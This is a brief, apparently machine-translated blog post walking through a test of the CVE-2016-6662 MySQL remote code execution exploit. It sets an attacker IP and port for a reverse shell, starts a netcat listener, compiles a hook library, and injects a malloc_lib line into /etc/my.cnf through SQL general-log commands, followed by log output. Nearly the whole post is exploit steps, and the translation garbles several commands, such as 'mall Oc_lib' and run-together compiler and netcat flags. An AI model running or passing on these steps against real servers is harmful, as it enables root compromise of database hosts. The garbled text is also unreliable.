cve-2016-6662 MySQL rce test

Reference: http://bobao.360.cn/learning/detail/3027.html, I tried the first method of

1. First modify the MYSQL_HOOKANDROOT_LIB.C inside the bounce address and port:

#define ATTACKERS_IP "xx.x.x.x" #define SHELL_PORT 81

Port monitoring on the attacker's machine, waiting for bounce:

NC-LVV-P 81

　　

2. Compiling the Library
Gcc-wall-fpic-shared-o mysql_hookandroot_lib.so MYSQL_HOOKANDROOT_LIB.C-LDL

3. Execute the command:

mysql> Set Global general_log_file = '/etc/my.cnf ';mysql> set global general_log = on;mysql> select ' [Mysqld]mall Oc_lib=/tmp/mysql/mysql_hookandroot_lib.so[separator] ';mysql> set global general_log = off;

　　

4. You can discover what MY.CNF added

/usr/local/mysql/bin/mysqld, Version:5.5.48-log (Source distribution). Started with:tcp port:3306 Unix socket:/tmp/mysql.socktime Id Command Argument160914 17:45:16 1 Query select ' [Mysqld]ma Lloc_lib=/tmp/mysql/mysql_hookandroot_lib.so[separator] ' 160914 17:45:22 1 Query set global General_log = Off

　　

5 then reboot Mysql,mysql will error

[Email protected]:~$ sudo/etc/init.d/mysql restart[...] Restarting MySQL (via Systemctl): Mysql.servicejob for Mysql.service failed because the control process exited with error Code. See "Systemctl Status Mysql.service" and "Journalctl-xe" for details.failed!

cve-2016-6662 MySQL rce test